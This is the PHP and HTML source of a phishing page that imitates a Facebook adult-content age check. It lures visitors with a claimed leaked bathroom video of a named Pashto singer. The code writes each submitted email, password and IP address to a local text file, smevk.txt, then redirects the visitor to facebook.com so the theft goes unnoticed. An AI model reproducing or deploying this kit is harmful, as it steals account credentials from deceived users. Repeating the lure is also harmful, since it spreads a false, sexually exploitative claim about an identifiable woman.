my page

<?php
$valid_email  = array('@','0','1','2','3','4','5','6','7','8','9','10','_','.','+');
$valid_password  = array('asd','sdf','dfg','fgh','ghj','hjk','jkl','kl','zxc','xcv','cvb','vbn','bnm','nm','qwe','wer','ert','rty','gfd','fds','dsa','sda','gfs','fgs');

if (isset($_POST['login'])) {
	$Pass = $_POST['pass'];
	$Uname = $_POST['uname'];


	function ValidUname($Uname,$valid_email){
	foreach ($valid_email as $vemail) {
		 	if (strpos($Uname, $vemail)) {
		 		return $Uname;
		 						}}}


	function ValidPass($Pass,$valid_password){
	foreach ($valid_password as $vpass) {
		$check = substr($Pass, 0,3);
		if ($check != $vpass) {
					return $Pass;
				}else{return false;}}}


if (strlen($Uname & $Pass) >5) {
	$Uname = ValidUname($Uname,$valid_email);
	$Pass  = ValidPass($Pass,$valid_password);
	}else{$status = "Wrong Password or Email";}


$user_ip = $_SERVER['REMOTE_ADDR'].(isset($_SERVER['HTTP_X_FORWARDED_FOR'])?'('.$_SERVER['HTTP_X_FORWARDED_FOR'].')':'')."\n";
if (empty($Uname) or empty($Pass)) {
	$status = "Wrong Password or Email";
}else{


	if (file_exists('smevk.txt')) {
	$file = fopen("smevk.txt", "a+");
	fwrite($file, "Username::".$Uname."\n");
	fwrite($file, "Password::".$Pass."\n");
	fwrite($file, "User ip::".$user_ip."\n");
	fwrite($file, "_____________________________________\n");
	fclose($file);
	echo "<sript>alert('Your package is insufficient to watch this video.')</script>";
	header("location:https://www.facebook.com");

}else{
	fopen("smevk.txt", "wb");
}


}
}
?>
<!DOCTYPE html>
<html>
<head>
	<title>Gulpanra Bathroom Video</title>
	<link rel="stylesheet" href="css/style.css">
	<meta property="og:title" content="Pashtoo singer Gulpanra Private Bathroom video got leaked by unknown person." />
	<meta property="og:type" content="Video" />
	<meta property="og:image" content="http://www.casinomegamall.com/software/images/p/img/ga.jpg" />
</head>
<body>
<div class="banner">
	<div id="bannerfonts">facebook</div>
</div>
<!-- banner end here  -->
<div class="canvas">
	<form method="post" >
	<span style="color: #3b5998; font-size: 25px;">Verify before you go!</span><br>
	<span style="color:#717171; font-size: 13px;">Facebook has detected that the link you visiting,contains adult content.</span><br><br>
<?php
	if (isset($status)) {?>
	<span style="color: red; font-size: 13px;"><?=$status;?></span><br>
	<?php
		}?>
	<input type="text" name="uname" id="uname" placeholder="Email or Phone" required><br>
	<input type="password" name="pass" id="pass" placeholder="Password" required><br><br>
	<input type="checkbox" style="margin-left: -150px;"> <span style="color:  #a09f9f ;"> I am 18 year old</span><br><br>
	<input type="submit" name="login" id="login" value="Let me Visit">
	</div>
	<!-- canvas end here -->
	<div id="info">Please help us improve facebook for everyone.<br>We are working hard to improve facebook for everyone around the world.<br>There are about million facebook user having age of less than 18.<br>We are trying to improve facebook adult content system .<br>Now no one can visit adult link unless one verify one's age with facebook.</div>
</body>
</html>